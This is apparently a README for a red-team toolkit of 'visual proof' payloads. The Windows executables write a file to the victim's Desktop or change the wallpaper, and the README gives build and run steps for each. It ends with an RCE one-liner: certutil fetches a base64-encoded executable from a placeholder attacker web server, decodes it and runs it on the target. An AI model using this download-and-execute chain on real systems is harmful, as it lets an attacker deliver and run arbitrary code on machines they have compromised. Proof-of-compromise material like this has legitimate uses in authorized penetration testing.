"Magic" and visual proof

Write file on Desktop and change wallpaper when file is opened/deleted/modified

Build:

make build.youhou
# Choose the fruit, or make the victim choosing

Execution:

.\youhou.exe

Change wallpaper (with the fruit of your choixe)

Build:

make build.fruity-wallpaper
# Choose the fruit, or make the victim choosing

Execution:

.\fruity-wallpaper.exe

Could take a little time as it will fetch big image

Write file on Desktop

Build:

make build.desktop-writer

Execution:

.\desktop-writer.exe

Change pkg/desktop/desktop.go to custom the file content

💡RCE to executable execution one-liner

On attacker:

base64 -w0 youhou.exe > youhou.b64

The RCE on target:

certutil -urlcache -split -f https://[ATTACKER_WEBSERVER]/youhou.b64 & certutil -decode youhou.b64 youhou.exe & youhou.exe

See more ideas here